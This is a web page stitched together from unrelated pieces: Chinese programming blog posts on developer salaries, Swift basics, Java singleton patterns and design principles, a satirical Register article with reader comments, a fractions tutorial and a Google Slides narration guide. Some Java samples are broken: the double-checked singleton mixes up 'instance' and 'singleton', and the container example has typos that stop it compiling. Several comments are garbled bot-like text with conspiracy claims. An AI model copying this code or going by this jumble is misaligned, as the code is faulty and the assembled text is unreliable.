• Ethan Roussel
I used an audio file from voice memos. I converted it to my Google Drive and it's there, but when I go to insert an audio file they show no documents.
• Jen
I had the same issue. This is what I found out: Google Slides supports MP3 and WAV audio formats. After I created the voice memo, I used www.zamzar.com (a free converter) and changed it into a mp4 file, then downloaded that file into my google drive. Hope this helps!
• Molly Macfarlane
Same problem. People keep trying to convince me that you can do anything with google products and while it might be true, you usually need to use three different programs or add-ons etc. Who has time for this? Update: Only two free files per day. Not helpful for a teacher trying to make content available to remote learners.
• West
Totally agree.
Reply Comment
Leave Comment
Your email address will not be published. Required fields are marked *
|
__label__pos
| 0.771491 |
Stack Overflow is a community of 4.7 million programmers, just like you, helping each other.
Join them; it only takes a minute:
Sign up
Join the Stack Overflow community to:
1. Ask programming questions
2. Answer and help your peers
3. Get recognized for your expertise
I have a file with different questions and I need to read them one after another when the user clicks the "Next Button". However, I can only read the first line and the following one and after that one the layout remains the same and doesn't work. I will appreciate some help in order to read total questions. Here is part of my code:
public class Questions {
int i = 0;
int questionCount = 0;
int category;
String question;
int questionNumber=1;
void currentQuestion(Context context, int cat) {
category = cat;
String questionFile = "";
questionFile = "VerbalSup1.txt";
questionCount = 25;
Log.i("Question", questionFile + ": " + questionCount);
try {
InputStream is = context.getAssets().open(questionFile);
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
// Skips lines
for (i = 0; i< questionNumber; i++) {
reader.readLine();
}
question = reader.readLine();
} catch (IOException e) {
e.printStackTrace();
}
}
void Next(){
questionNumber=questionNumber + 1;
}
Here is the next button:
bNext.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
questions.Next();
questions = new Questions();
questions.Next();
currentQuestion();
}
});
share|improve this question
up vote 0 down vote accepted
The issue is that you are resetting the questions object so it will get only the first line.. Here:
questions.Next();
questions = new Questions(); // this is wrong as the counts will be reset to defaults
questions.Next();
currentQuestion();
You should have:
questions.Next();
currentQuestion();
currentQuestion();
I hope it helps.
share|improve this answer
Thank you very much , it works now, many thanks Cata – Katherine99 Jan 27 '13 at 20:55
Your welcome, I'm glad it helped! Also you can vote this as an answer if helped.. – Cata Jan 27 '13 at 20:59
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.982918 |
Summary of python learning notes
1 course resources:
1,www.runoob.com
2,www.liaoxuefeng.com
3,www.csdn.net
2 key points of knowledge (Level II test center)
(1) The document must be saved before execution
(2) Programming language type:
A: Machine language
B: Assembly language
C: High level language (C, C + +)
D: Super language (python)
(3) Two programming methods of python
Interactive: irreversible REPL(Read – Eval – print – loop)
File type: save! Modify! Expand! You must save before running!
(4) Code meaning
import turtle
turtle.pensize
turtle.color('red')
Turn. Circle (20) from left to right
turtle.circle(-20) from top to bottom
turtlr.circle(120,90)120: radius 90: center angle
Circle (120,90) 90 center angle? coca
(5) Static language (compilation): one-time translation without source code (C language, Java)
Scripting language (Interpretation): translate and execute at any time during each run (Python, js.PHP)
( 6 ).help()
keywords
(7) basic syntax elements:
1) Indent: usually with four spaces or a Tab
Note: single line #, exclusive line or end of line;
Multiple lines of three single quotation marks'... '' or three double quotation marks'... ',
Naming: upper and lower case letters, numbers or underscores (shift ±) or Chinese characters (not only Chinese characters). The first character cannot be a number
Variable
Reserved words:
2)Data type, string, integer, floating point number, list
3)Assignment statement, branch statement, function
4)input(),print(),eval(),print()format
learning method:
Learn first, then imitate, and then innovate independently
4. Learning suggestions:
1. Record knowledge points in time for examination
2,
5 similarities and differences
**(1 + 1.01) * * 365: multiply 1.01 365 times (power algorithm)
6 basic grammar
(1) Data: variables and constants
(2) Object: identity (ID), type (type), value (value)
(3) Variable: the name (identifier) is the same as the naming rule. Valid variable name and invalid variable name
Upper and lower case letters, numbers, or underscores( shift+-)Or Chinese characters, The first character cannot be a number
(4) Reserved word (keyword)
(5) Data type:
Numeric: integer( int)
Floating point:( float)
Plural( complex)
Boolean: True(1)/False(0)
String (str): use 'str' / '...' / '' str 'as the delimiter, and + shift in Chinese and English, indicating the original string guided by the letter R or R
Operation: str1+str2(Link to string)
str*int(Copy of string)
Tuple:
List:
Dictionary (dict):
Set:
7 library and method
(1)turtle: gallery
Import format:
A:
import<Library name>
<Library name>.Function name (parameter)
B:
import<Library name> as <Short name of the library>
<Short name of the library>.Function name (parameter)
C:
from<Library name>import<Library name/Function name>(*)
Function name (parameter)
(2)method:
pensize(Brush size pixels)
pencolor('Brush color')/(R,G,B)(0-1)
color('stroke color ','fill color')
circle(Circle radius r pixel),r Positive--Left, r Negative--Right.
right(Angle)
left(Angle): pay attention to the difference between the two angles
8. Basic structure of program
(1) Sequential structure
(2) Select (Branch) structure
If < condition 1 >:
Structure 1
elif:
Structure 2
...
else:
Structure n
(3) Cyclic structure
for i in range():
structural morphology
break()
continue()
9. Function:
(1)range():
(2)input():
(3)print():
10. Basic method of programming (IPO):
(1)I(input):Enter data (string) on the keyboard
(2)P(process):Processing of input data
(3)O(Output):Enter data on the display.
11. Basic steps of programming:
(1) determine IPO(Input--Process--output)
(2) Programming
(3) Debugging program
12. Numeric operators and expressions
(1)Arithmetic:+,-,*,/(General division),//(floor divided by floor),% (remainder / modulus), * (arithmetic)
(2)Assignment:=,Compound with arithmetic and bitwise operators
(3)Relationship (comparison):>,<,==,>=,<=,!= (True/False)
(4)Logic: and or not (True/False)
(5)Members: in ,not in (True/False)
(6)Identity (identity test) is ,is not (True/False)
(7)position:&,|,!,^,>>,<<
13. Operator priority:
high--------------------------------->low
Index(**)----->one yuan+- -->*,/,%,//,-->+,- --->>>,<<
14. Data type conversion:
(1)int(): Convert to integer
(2)float(): Convert to floating point
(3) complex(): convert to
(4)bin(): Convert to
(5) oct(): Convert to
(6) hex(): Convert to
Tags: Python Back-end
Posted on Thu, 11 Nov 2021 05:25:46 -0500 by pkSML
|
__label__pos
| 0.980588 |
Stack Overflow is a community of 4.7 million programmers, just like you, helping each other.
Join them; it only takes a minute:
Sign up
Join the Stack Overflow community to:
1. Ask programming questions
2. Answer and help your peers
3. Get recognized for your expertise
I have the following task:
There is string, and it may have any length: from 1 to 50 symbols. And there is TextView for storing this string.
I need to do the following thing:
if TextView can store this string without transferring to next line than TextView should store string, but if string is very large than TextView,the string should be appended with some chars "..." and shown in textview.
For example,if the string is "abdcdereweewew" and TextView can contain only 10 symbols on one line, then TextView should show "abdcder...". How can I calculate it? Thank you in advance.
share|improve this question
up vote 3 down vote accepted
You can actually do this by setting the XML-attribute ellipsize on the actual TextView!
android:ellipsize="end"
You should probably also set:
android:singleLine="true"
There are more options with ellipsize, have a look =)
share|improve this answer
Thank you very much – user1841247 Nov 21 '12 at 8:46
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.812839 |
A Comprehensive Guide to Hosting Decentralized Websites — adidaswilson
Author Adidas Wilson
5 min readMar 21
Decentralized websites offer a more secure, private, and censorship-resistant alternative to traditional, centralized web hosting. By utilizing blockchain technology, peer-to-peer (P2P) networks, and distributed storage solutions, decentralized websites can provide a more robust and resilient platform for online content. This guide will delve into the intricacies of hosting decentralized websites, exploring the technology, platforms, and best practices for building and maintaining a decentralized web presence.
Decentralized websites operate on a distributed network of nodes, which store and serve content, rather than relying on a centralized server or hosting provider. This decentralized approach offers several advantages over traditional web hosting:
a. Censorship Resistance: Decentralized websites are less susceptible to censorship or content takedowns, as no single entity has control over the entire network.
b. Enhanced Security: Decentralized networks are less vulnerable to hacking or distributed denial-of-service (DDoS) attacks, as compromising a single node does not affect the entire network.
c. Data Privacy: Decentralized websites can offer improved data privacy by storing user data across multiple nodes, rather than concentrating it in a single location.
d. Increased Resilience: Decentralized websites are more resilient to downtime or network failures, as the distributed nature of the network ensures that content remains accessible even if some nodes go offline.
Decentralized websites leverage a combination of technologies to distribute content across the network and ensure data integrity and accessibility.
a. Blockchain: Blockchain technology serves as the foundation for many decentralized websites, providing a decentralized ledger for storing and verifying data. Blockchains such as Ethereum and Cardano can be used to build decentralized applications (dApps) and store data for decentralized websites.
b. Distributed Hash Tables (DHT): DHTs are key-value data structures used in P2P networks to distribute and locate data across the network. DHTs enable decentralized websites to quickly and efficiently locate and retrieve…
Author Adidas Wilson
Adidas Wilson was born in Chicago, surviving a near death experience driving off a bridge in an 18 wheeler and getting hit by a train. Author and Motivator
|
__label__pos
| 0.883292 |
Introducing PureData
No Comments
I’ve been posting my experiments exploring sound/musical instrument design and prototyping, and it occurred to me that although my writing had focussed on the creative process and user experience of playing instruments, it would you the reader to have more context and explanations of the technical side to go beyond just embedding links throughout my posts. Today i’d like to introduce you to Pure Data, an amazingly deep yet seemingly-simple music and sound creation development environment. Here’s the official description on the puredata.info website:
Pure Data
Pure Data (Pd) is a visual signal programming language which makes it easy to construct programs to operate on signals. We are going to use it extensively in this textbook as a tool for sound design. The program is in active development and improving all the time. It is a free alternative to Max/MSP that many see as an improvement.
As I learn more about Pd I realize that it has a number of redeeming characteristics that make it incredibly resilient. Apart from MaxMSP and VVVV, Pure Data is uniquely visual the only piece of software that allows you to program your own applications using a visual flowchart-like graphical user interface. Pd is open-source and platform-agnostic – working consistently across Windows, Mac and Linux platforms (and yes, RaspberryPi!). Pure Data is also extremely extendible, you can install libraries (Externals) to add new capabilities and many people write their one libraries. Finally, Pure Data can be embedded into other frameworks and hardware, there’s a libpd library that is used for iOS, Android and OpenFrameworks application development.
Ultimately, Pd enables musicians, visual artists, performers, researchers, and developers to create software graphically without writing lines of code.
Pd can be used to process and generate sound, video, 2D/3D graphics, and interface sensors, input devices, and MIDI. Pd can easily work over local and remote networks to integrate wearable technology, motor systems, lighting rigs, and other equipment. It is suitable for learning basic multimedia processing and visual programming methods as well as for realizing complex systems for large-scale projects.
Here are some of the basic components of Pure Data:
Objects
In Pd we use a flowchart with lines connecting boxes together to build programs. We call these boxes objects. Stuff goes in, stuff comes out. For it to pass into or out of them, objects must have inlets or outlets. Inlets are at the top of an object box, outlets are at the bottom. Here is an object that has two inlets and one outlet. They are shown by small “tabs” on the edge of the object box.
Connections
The connections between objects are sometimes called cords or wires. They
are drawn in a straight line between the outlet of one object and the inlet of
another. It is okay for them to cross, but you should try to avoid this since it
makes the patch diagram harder to read.
Data
The stuff or data being processed comes in a few flavours: sound signals, and messages. Objects give clues about what kind of data they process by their name. For example, an object that adds together two sound signals looks like |+ ~|. The + means that this is an addition object, and the ∼ (tilde character) means that its object operates on audio signals.
Edit Mode
When you create a new object from the menu, Pd automatically enters edit mode, so if you just completed the instructions above you should currently be in edit mode. In this mode you can make connections between objects or delete objects and connections.
Wiring
Hovering over an outlet will change the mouse cursor to a new “wiring tool.” If you click and hold the mouse when the tool is active you will be able to drag a connection away from the object.
Bang Message
This is the most fundamental and smallest message. It just means “compute something.” Bangs cause most objects to output their current value or advance to their next state. Other messages have an implicit bang so they don’t need to be followed with a bang to make them work.
Float Messages
“Floats” is another name for numbers. As well as regular (integer) numbers like 1, 2, 3 and negative numbers like −10 we need numbers with decimal points like −198753.2 or 10.576 to accurately represent numerical data. These are called floating point numbers, because of the way computers represent the decimal point position.
Number Box
For float numbers we have already met the number box, which is a dual-purpose GUI element. Its function is to either display a number or allow you to input one. A bevelled top right corner like this denotes that this object is a number box. Numbers received on the inlet are displayed and passed directly to the outlet. To input a number click and hold the mouse over the value field and move the mouse up or down. You can also type in numbers. Click on a number box, type the number and hit RETURN.
Toggle box
Another object that works with floats is a toggle box. Like a checkbox on any standard GUI or web form, this has only two states, on or off. When clicked a cross appears in the box like this and it sends out a number 1; clicking again causes it to send out a number 0 and removes the cross so that it looks like this .
Sliders and Other Numerical GUI Elements
GUI elements for horizontal and vertical sliders can be used as input and display elements. Their default range is 0 to 127, nice for MIDI controllers, but like all other GUI objects this can be changed in their properties window. Unlike those found in some other GUI systems, Pd sliders do not have a step value.
Message Box
These are visual containers for user-definable messages. They can be used to input or store a message. The right edge of a message box is curved inwards like this , and it always has only one inlet and one outlet. They behave as GUI elements, so when you click a message box it sends its contents to the outlet. This action can also be triggered if the message box receives a bang message on its inlet.
Symbolic Messages
A symbol generally is a word or some text. A symbol can represent anything; it is the most basic textual message in Pure Data. Technically a symbol in Pd can contain any printable or nonprintable character. But most of the time you will only encounter symbols made out of letters, numbers, and some interpunctuation characters like a dash, dot, or underscore.
Lists
A list is an ordered collection of any things, floats, symbols, or pointers that are treated as one. Lists of floats might be used for building melody sequences or setting the time values for an envelope generator. Lists of symbols can be used to represent text data from a file or keyboard input.
Pointers
As in other programming languages, a pointer is the address of some other
piece of data. We can use them to build more complex data structures, such
as a pointer to a list of pointers to lists of floats and symbols.
Tables, Arrays, and Graphs
A table is sometimes used interchangeably with an array to mean a two-dimensional data structure. An array is one of the few invisible objects. Once declared it just exists in memory.
Previous Post
SI004 – NonInstrument
Next Post
Start Music Hacking Now
Leave a Reply
Your email address will not be published. Required fields are marked *
Fill out this field
Fill out this field
Please enter a valid email address.
This site uses Akismet to reduce spam. Learn how your comment data is processed.
Menu
|
__label__pos
| 0.713629 |
Stack Overflow is a community of 4.7 million programmers, just like you, helping each other.
Join them; it only takes a minute:
Sign up
Join the Stack Overflow community to:
1. Ask programming questions
2. Answer and help your peers
3. Get recognized for your expertise
I am working with approximately 300 articles (txt-files), and my cluster-analysis has so far been successful.
Now I wish to save/export these 5 clusters separately, so that I can do further analysis on each cluster.
How is that possible?
I would appreciate any answer!
/LK
share|improve this question
up vote 0 down vote accepted
You could export the result of the clustering operation to Excel and examine the results using this.
Alternatively, you could use the Filter Examples operator with a suitable filter to create example sets for specific values of the cluster attribute.
share|improve this answer
Thank you. Maybe this follow up is redundant. But is it possible to save each cluster separately in my repository. – user3356084 Apr 22 '14 at 13:22
Yes - the result of filtering is an example set that can be stored in the repository. – awchisholm Apr 22 '14 at 17:36
Perhaps the original poster could up vote this if it is a useful answer? – awchisholm Apr 28 '14 at 17:36
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.709392 |
Hora do sistema
Definição - o que significa hora do sistema?
A hora do sistema é a hora e a data atuais que o sistema do computador controla para que os aplicativos em execução no sistema tenham acesso imediato à hora exata. A maioria dos sistemas de computador baseia a hora do sistema na hora atual em relação a Greenwich, Inglaterra, que é chamada de hora universal coordenada (UTC), e cada fuso horário é designado como adiantado ou atrasado por um número específico de horas.
Definirtec explica a hora do sistema
A hora do sistema é mantida em relação ao relógio do sistema, que é implementado com base no número de tiques que ocorreram desde uma data de início arbitrária chamada de "época", geralmente a hora em que o sistema de computador foi ligado pela primeira vez ou um - a partir de uma data específica, como a Época Unix, que começa em primeiro de janeiro de 1970. Portanto, durante a primeira inicialização do sistema, a hora atual do sistema é definida para a data da época e, a seguir, continua a partir daí. Dependendo do sistema, a hora correta é sincronizada automaticamente com a hora UTC na Internet ou deve ser definida manualmente pelo usuário.
|
__label__pos
| 0.811928 |
understanding copy-initialisation and implicit conversions
• A+
Category:Languages
I am having trouble understanding why the following copy-initialisation doesn't compile:
#include <memory> struct base{}; struct derived : base{}; struct test { test(std::unique_ptr<base>){} }; int main() { auto pd = std::make_unique<derived>(); //test t(std::move(pd)); // this works; test t = std::move(pd); // this doesn't }
A unique_ptr<derived> can be moved into a unique_ptr<base>, so why the second statement works and the last doesn't? Aren't non-explicit constructors considered when copy-initialising? The error from gcc-8.2.0 is
conversion from 'std::remove_reference<std::unique_ptr<derived, std::default_delete<derived> >&>::type' {aka 'std::unique_ptr<derived, std::default_delete<derived> >'} to non-scalar type 'test' requested
and from clang-7.0.0 is
candidate constructor not viable: no known conversion from 'unique_ptr<derived, default_delete<derived>>' to 'unique_ptr<base, default_delete<base>>' for 1st argument
Live code here
A std::unique_ptr<base> is not the same type as a std::unique_ptr<derived>. When you do
test t(std::move(pd));
You call std::unique_ptr<base>'s conversion constructor to convert pd into a std::unique_ptr<base>. This is fine as you are allowed a single user defined conversion.
In
test t = std::move(pd);
You are doing copy initialization so so you need to convert pd into a test. That requires 2 user defined conversions though and you can't do that. You first have to convert pd to a std::unique_ptr<base> and then you need to convert it to a test. It's not very intuitive but when you have
type name = something;
whatever something is needs to be only a single user defined conversion from the source type. In your case that means you need
test t = test{std::move(pd)};
which only uses a single implicit user defined like the first case does.
Lets remove the std::unique_ptr and look at in a general case. Since std::unique_ptr<base> is not the same type as a std::unique_ptr<derived> we essentially have
struct bar {}; struct foo { foo(bar) {} };
And lets change test to
struct test { test(foo){} };
Then our main would be
int main() { test t = bar{}; }
and we get the same error because we need to go from bar -> foo -> test and that has one user defined conversion too many.
Comment
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:
|
__label__pos
| 0.97857 |
BASIC - the Programming Language Content from the guide to life, the universe and everything
BASIC - the Programming Language
9 Conversations
A computer screen displaying a basic loop.
In the earliest days of computing, there were two proud but separate traditions, those of the Users and the Operators. The User, typically a student at a university or a researcher trying to solve a problem in the real world, would have to punch their programs onto cards, up to 70,000 different cards for some complex programs, and every card had to be in exact order or the machine would generate errors. The operators, sometimes referred to by the Users as 'White Coats', were the only ones allowed to touch the machines. The Users would bring in their card deck, hand them to the Operator who would run the deck. The User would then get the deck back and a printout of the information. This meant that only one program at a time could be run, and the User couldn't make adjustments until after the printout had been returned. The need for a system where many Users could act as their own Operators on a single machine brought about the BASIC language.
The BASIC Origins
So, BASIC, the 'Beginners All-purpose Symbolic Instruction Code', was written in the early 1960s by two Dartmouth mathematics Profs, Thomas Kurtz and John Kemeny. The intent was to have a language that was easy to learn that could be used on the GE225 time-sharing system that Dartmouth was about ready to launch. The pair thought that the most popular languages of the day, including Fortran and ALGOL, were too complex for non-technical folks to learn. Using elements from both Fortran and ALGOL, and adding things like line numbers to make trouble shooting easier, Kemeny and Kurtz developed BASIC, at first only having 14 commands, including the famous GOTO. BASIC could be learned in as little as two sessions, a tremendous advantage over other languages that could take months.
The time-sharing system would allow many users to log in at the same time, running programs remotely via terminals around the campus in the Maths and Science departments. BASIC may have been the first language written with the intent of being used by non-computer professionals. Many early time-sharing systems used BASIC, including those powered by GE machines and DEC PDP-11 systems.
Setting the Hook
BASIC began to show up in many elementary schools around the country, particularly in cities where school districts could use Teletypes to get at University Mainframe Time Sharing systems. Children as young as seven were learning BASIC as a part of their curriculum. This early introduction made sure that BASIC would continue to evolve.
BASIC Goes Big Time
When the microprocessor was introduced in the early 1970s, many of the young people introduced to BASIC in elementary schools started building computers from kits and went on to start companies. It should be no surprise that many early microcomputing systems chose BASIC, especially since Kemeny and Kurtz never patented or copyrighted the language. The first BASIC considered to be a full language implemented on a microprocessor was Li Chen Wang's Tiny Basic, which appeared in Dr Dobbs Magazine in early 1975.
Microsoft Starts
Bill Gates, then a student at Harvard, wrote a BASIC interpreter for the Altair in March 1975. Microsoft released their version of BASIC on paper tape later in the year, once Altairs actually started being delivered. The tapes were easy to pirate, as you could run it into your computer and then punch another copy of the tape on a teletype. Bill Gates wrote an open letter to hobbyists saying that software copying was theft, and claiming that all the work they had put into BASIC for the Altair had resulted in income of two US dollars an hour. This letter was published in many of the computer hobbyist magazines and was the first time people began to think of software sharing as piracy. It also was the first time people started to turn against Gates.
BASIC Comes Home
Many machines, including the early Apples, Radio Shack and Commodore computers, used BASIC as their primary interaction language. For a time it was the most widely used language on personal computers. One of the first pieces of software available for any early PC was a BASIC interpreter. Microsoft made a great deal of money on their version, allowing them to start developing other products. Microsoft had provided IBM with both the DOS operating system for the IBM PC, but also with their form of BASIC, each of which helped the growth of Microsoft enormously.
Kemeny and Kurtz, the designers of BASIC, released their own polished version of BASIC called True BASIC. The two profs believed that the variants of BASIC that companies had been releasing were altering the basic premise of BASIC, and the 'True BASIC' was to be the definitive version. It did not sell as well as the other versions on the market, especially those made by Microsoft.
Many new systems turned to BASIC for introducing people to computing. In the 1980s, the BBC used a version of BASIC called BBCBASIC (Occasionally written as BBasiC by the few Americans who knew anything about it) for the BBCMicro, later the Archimedes and many other British micros. The BBC Micro had been designed as part of a BBC plan to introduce computers to the general population (since Britain had been lagging to a degree behind the US in the percentage of homes and classrooms with computers). The machine and the variant of BASIC are almost unknown in America, though some believe that it could have caught on in the US with a proper introduction. There continues to be a strong group of users who proclaim BBCBASIC to be 'the best, most powerful BASIC ever written.'
The Slow Fade
BASIC began to fade away from the limelight when languages like C and Pascal got good compilers and interpreters for small machines. The beginning of Object-Oriented Programming (arguably with Alan Kay's SmallTalk) and languages like C++ put an end to the glory days of BASIC. BASIC still exists today in Microsoft's QBASIC and a few other products, and also as Visual BASIC, an object-oriented language developed by Microsoft, though it is less popular than many of the other object-oriented programming languages.
Looking Back
Several people point to BASIC as the gateway language, the first real language to bring computer programming out of the hands of mathematicians, making computer science as a separate discipline possible. John Kemeny passed away in the early 1990s, but Kurtz continues to speak and write about the early days of BASIC. Recently however, Kurtz denied the claim that BASIC was the single most important advancement in the history of programming.
I'm sorry to say, but I don't think we had much effect...
- Thomas Kurtz
Trailing Edge, October 2001 Technology Review
Bookmark on your Personal Space
Edited Entry
A645121
Infinite Improbability Drive
Infinite Improbability Drive
Read a random Edited Entry
Categorised In:
Written by
Credits
Write an Entry
"The Hitchhiker's Guide to the Galaxy is a wholly remarkable book. It has been compiled and recompiled many times and under many different editorships. It contains contributions from countless numbers of travellers and researchers."
Write an entry
Read more
|
__label__pos
| 0.533502 |
best 3D rendering services
Some basic facts about 3D rendering – Overview
Man has never rested satisfied and this never-ending vigor to innovate for betterment has bestowed him with infinite provisions. With the introduction of three-dimensional technologies, the great positive impact is being enjoyed in the multiple domains. There is a huge population that outsource 3D rendering in India to any of the leading 3D rendering companies. Optimal use of advanced technologies and dedicated workforce are prominent among many reasons for the increasing favoritism of India as an outsourcing destination.
What exactly is 3D rendering?
In shortest of the word, 3D rendering is capturing a 3D environment into a 2D image.
The process starts with applying of experiences by means of properties such as reflections, illuminations, bumps and refraction. The final desired feel is obtained by lighting the concerned object. Based on the specific setting assigned, render engine renders the image. This process can be effectively executed by the trained professional in any of the best 3D rendering companies in India.
Types of 3D rendering
Three-dimensional niche is always dynamic and progressions happen continuously. New methods and technologies are introduced too often to which a best 3D rendering company in India adapts without any delay.
However, there are 2 main types of 3D rendering and they are real-time rendering and pre-rendering. Former finds application in gaming where images have to be delivered in the real time. Pre-rendering or offline rendering finds application where speed is not an issue.
1. Real-Time Rendering
It is used mainly for gaming as well as interactive graphics in which images are to be figured out from three-dimensional information rapidly.
• Interactivity: As it is not possible to foresee how a player is going to interact with a game environment, images should be rendered on a real-time basis while the action unfolds.
• Speed Matters: For making the motion resemble fluid, 18 – 20 fps has to be rendered. Lesser fps will make the action look choppy which is undesirable.
• The methods: It can be improved significantly by making use of dedicated graphics hardware or by pre-assembling maximum possible information.
2. Offline or Pre-Rendering
It works in situations when speed is not that an issue and where calculations are performed by making use of multi-core CPUs.
• Predictability: It can be seen extensively in animation as well as effects related works where photorealism and visual complexity are of much-advanced standard. As no unpredictability is there, large studios dedicate even up to 100 hours render time for individual frames.
• Photorealism: As offline rendering happens within an open time-frame, elevated photorealism levels can be attained than with the real-time rendering. Characters, settings and all their associated lights and textures are characteristically allowed more polygon count and higher resolution texture files.
Common rendering techniques used
Mainly there are three rendering techniques used by the by the companies offering 3D rendering services namely scan-line rendering, ray-tracing, and radiosity. To achieve greater results most of the times, these techniques are employed in conjunction to each other.
• Scanline (or rasterization): When speed is mandatory, this type of rendering finds its application; this makes it a method of choice for interactive graphics and real-time rendering. As an alternative of image rendering on a pixel-by-pixel base, scanline renderers proceed on the basis of the polygon by polygon. Scanline techniques when used together with pre-calculated lighting can obtain a speed of 60 fps or even better rates on a better quality graphics card.
• Raytracing: Here for all pixels in a scene, one or even more of light rays are mapped out from a camera the 3D object in its closest proximity. Following that, the light ray is subjected to several “bounces”, including reflection or else refraction based on materials in the 3D scene. Each pixel’s color is figured algorithmically as per the interaction of light rays with objects in the traced path. Raytracing can achieve greater photorealism when compared to scanline; the pitfall of former is its drastically slow nature.
• Radiosity: It is calculated without any camera consideration, and it is not done pixel by pixel; rather radiosity is surface oriented. The radiosity’s primary function is to more precisely act out the external color by accounting for implied radiance. Radiosity is characterized typically by lenient progressed shadows as well as color bleeding in which light from the luminously highlighted objects “bleeds” onto the adjoining surfaces
Though rendering depends on extremely advanced calculations, software these days avail easily understandable parameters so that an artist need not deal with calculations and mathematics that underlies. All main 3D software packages include a render engine and there are also lighting and material packages with almost all thus facilitating achievement of stunning photorealism levels.
Two most popular render engines:
• Mental Ray – Packaged in Autodesk Maya, it is extremely adaptable, comparatively swift and perhaps the fit renderer for those character images in need of subsurface scattering. A blend of global illumination and raytracing is used in Mental ray.
• V-Ray –Typically V-Ray is made use of along with 3DS Max. The pair can together work wonders for environment rendering and architectural visualization. VRay supersedes its counterparts with its superior lighting tools and wide-ranging materials library.
Hope you enjoyed reading the post. To know more about the tips, trends and latest news regarding 3D strides, keep reading our blog and we promise to keep you updated. Also, read more about 3d rendering benefits.
|
__label__pos
| 0.540345 |
Last modified May 22, 2017 by Shelly Wolfe
About Conversation Templates
A Conversation template is a predefined template that gives you a starting point for adding different types of content to your Conversation. The templates include default images, text and buttons. You can edit the default content at any time, including removing or adding pages as needed, and customize the pages using any combination of text, images, video or survey questions.
Conversation Templates
This article describes the different types of Conversation templates available at the start of the Conversation wizard. For more information about the Conversation wizard, see Creating Conversations. For information on how to edit the content of your Conversation, see Editing Conversations.
1 and 2 Button Custom
The 1 and 2 Button Custom templates provide a basic and flexible option for creating pages that you can easily customize with your own content. The initial page includes a blank space with one or two buttons. You can then edit or add additional content (text, images, video, survey questions) and customize the button text or actions as needed.
Announcement
The Announcement template enables you to create an announcement message, with placeholders for an image, headline, message text and one button. You can edit or add additional content as needed. If you want to create an announcement that includes two buttons, use the Promotion template.
Video
The Video template provides an example of a video announcement that you can customize with additional content. Use the embed link from a YouTube video to display and play the video directly on the page.
Star Survey
The Star Survey template enables you to present a simple star rating survey; for example, “How would you rate this app 1-5 stars?” You can edit the color of the stars and include more than one question on each page. The survey results display on the Campaign Report tab after the Conversation is launched.
Promotion
The Promotion template is similar to the Announcement template but includes two buttons, enabling you to configure one button as a cancel and the other as a link to more information (which in turn could be any other button action; for example, another conversation page, web page, app deeplink, call a number, and so forth).
Survey
The Survey template enables you to present a simple survey with a single question and multiple choice answer. You can edit the number of options available and add additional content, including other questions, as needed. The survey results display on the Campaign Report tab after the Conversation is launched.
Onboarding
The Onboarding template includes three default pages with placeholders for the typical messages apps use during onboarding to maximize user engagement after the initial app install. You can also use the Onboarding template as a basis for any multi-page Conversation, which you can then customize as needed.
Push Opt-In
The Push Opt-In template enables you to create a message that encourages users to consent to receiving push notifications from your app. Use this template to highlight certain features of your app that the user might miss out on if push notifications are not enabled. The timing of this conversation is critical. If you trigger the request too early (for example, first session start) the user is likely to decline permission because they don’t know anything about your app. It is best to trigger the message when you’re confident the user has had a good experience with your app and understands why it’s important to accept push notifications.
Contacts Opt-In
The Contacts Opt-In template enables you to create a message requesting the user’s permission to allow the app to access their contacts. Like the other permissions templates, use this template to highlight the benefits of allowing access to their contacts. Similarly, trigger the display of this message at an appropriate time when the user best understands and appreciates those benefits.
Rate My App
The Rate My App template enables you to create a message that encourages users to rate your app in the app store. You can edit the image and text placeholders as needed, and customize the buttons, including adding a deeplink that takes users directly to the app store to rate your app. If you provided an app store URL for your app on the App Settings screen, then the button deeplink defaults to that URL.
Track Location and Movements
The Track Location and Track Movements templates enable you to create a message requesting the user’s permission to allow the app to enable location services on their device, either only while the app is running (Location) or at all times (Movements). Like the other permissions templates, use this template to highlight the benefits of enabling location services. Similarly, trigger the display of this message at an appropriate time when the user best understands and appreciates those benefits.
Photo Permissions
The Photo Permissions template enables you to create a message requesting the user’s permission to allow the app to access their device’s photos. Like the other permissions templates, use this template to highlight the benefits of allowing access to their photos. Similarly, trigger the display of this message at an appropriate time when the user best understands and appreciates those benefits.
Camera Permissions
The Camera Permissions template enables you to create a message requesting the user’s permission to allow the app to access their device’s camera. Like the other permissions templates, use this template to highlight the benefits of allowing access to their camera. Similarly, trigger the display of this message at an appropriate time when the user best understands and appreciates those benefits.
Next Steps
• Edit the content of your Conversation using the Conversation editor. For more information, see Editing Conversations.
• View the Conversation results on the individual Conversation screen. For more information, see Managing Conversations.
|
__label__pos
| 0.546799 |
0
$\begingroup$
Let consider a connected graph $G = (V, E)$ which is not oriented. One way to detect a cycle in such a graph is :
1. Create an array : seen of size $\mid V \mid$ with seen[i] = false for all $i$
2. Perform a DFS (or BFS) starting at the node $0$.
3. When we see a node $i$ : we have two cases : if seen[i] = false then seen[i] = true else we found a cycle.
One idea to prove the correction of this algorithm is saying the following : if the algorithm return true it means there two nodes $x$ and $y$ such that when we looked at $y$ we have : seen[y] = false and seen[x] = true thus there is a cycle namely the cycle which begin at $x$ and use the only path that connect $x$ and $y$ in the DFS tree and then use the edge $(y,x)$.
The problem is that this is not really rigourous and I am really lokking for an invariant that we help me do the correction of this algorithm rigourously. So is there any invariant I can use here ?
Thank you very much !
$\endgroup$
0
$\begingroup$
Assuming we execute line 3 when you first visit a node, and assuming you are working with directed graphs, this algorithm is incorrect (consider what happens with a cross edge discovered by DFS).
Alternatively, assuming you are working with undirected graphs:
The missing part of your argument is the "thus" part; why does the existence of two such nodes imply the existence of a cycle?
To work out the proof, I suggest categorizing what types of edges can exist in the search tree for an undirected graph: tree edges? forward edges? back edges/ cross edges? Then, categorize what type of edge caused you to visit x when seen[x] was true. What does that mean the search tree has to look like?
$\endgroup$
2
